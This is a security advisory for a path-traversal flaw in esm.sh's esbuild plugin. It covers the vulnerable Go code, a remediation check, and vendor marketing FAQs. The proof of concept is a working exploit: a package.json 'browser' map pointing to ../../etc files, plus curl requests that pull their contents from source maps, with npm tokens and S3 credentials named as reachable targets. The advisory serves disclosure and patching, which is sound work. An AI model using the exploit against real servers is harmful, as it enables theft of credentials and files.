Summary
A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.
Details
The vulnerable code is in the OnResolve callback of the esbuild plugin:
https://github.com/esm-dev/esm.sh/blob/main/server/build.go
The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.
// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}
// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
if path, ok := pkgJson.Browser[modulePath]; ok {
if path == "" {
return esbuild.OnResolveResult{
Path: args.Path,
Namespace: "browser-exclude",
}, nil
}
if !isRelPathSpecifier(path) {
externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
if err != nil {
return esbuild.OnResolveResult{}, err
}
return esbuild.OnResolveResult{
Path: externalPath,
SideEffects: sideEffects,
External: true,
}, nil
}
modulePath = path
}
}
// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check
File contents appear in both the bundled JS output and the source map sourcesContent array.
Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).
Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.
PoC
The test package is published at https://www.npmjs.com/package/chess-sec-utils1
package.json:
{
"name": "chess-sec-utils1",
"version": "1.0.6",
"main": "index.js",
"type": "module",
"browser": {
"./d1.txt": "../../../../../../../../etc/hostname",
"./d2.json": "../../../../../../../../etc/os-release",
"./d3.json": "../../../../../../../../etc/environment"
}
}
index.js:
import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }
npm publish
curl "https://<esm.sh-instance>/[email protected]"
curl "https://<esm.sh-instance>/[email protected]/es2022/chess-sec-utils1.mjs.map"
Server file contents in source map response:
{
"sourcesContent": [
"ideapad\n",
"PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
"PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
"import d1 from \"./d1.txt\"..."
]
}
Credit
Svyatoslav Berestovsky of Metascan
Impact
An attacker can read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-44594 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20250616164159-0593516c4cfa); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Add a path validation check after the browser field remapping:
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}
Frequently Asked Questions
- What is CVE-2026-44594? CVE-2026-44594 is a high-severity path traversal vulnerability in github.com/esm-dev/esm.sh (go), affecting versions < 0.0.0-20250616164159-0593516c4cfa. It is fixed in 0.0.0-20250616164159-0593516c4cfa. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-44594? CVE-2026-44594 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/esm-dev/esm.sh are affected by CVE-2026-44594? github.com/esm-dev/esm.sh (go) versions < 0.0.0-20250616164159-0593516c4cfa is affected.
- Is there a fix for CVE-2026-44594? Yes. CVE-2026-44594 is fixed in 0.0.0-20250616164159-0593516c4cfa. Upgrade to this version or later.
- Is CVE-2026-44594 exploitable, and should I be worried? Whether CVE-2026-44594 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-44594 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-44594? Upgrade
github.com/esm-dev/esm.shto 0.0.0-20250616164159-0593516c4cfa or later.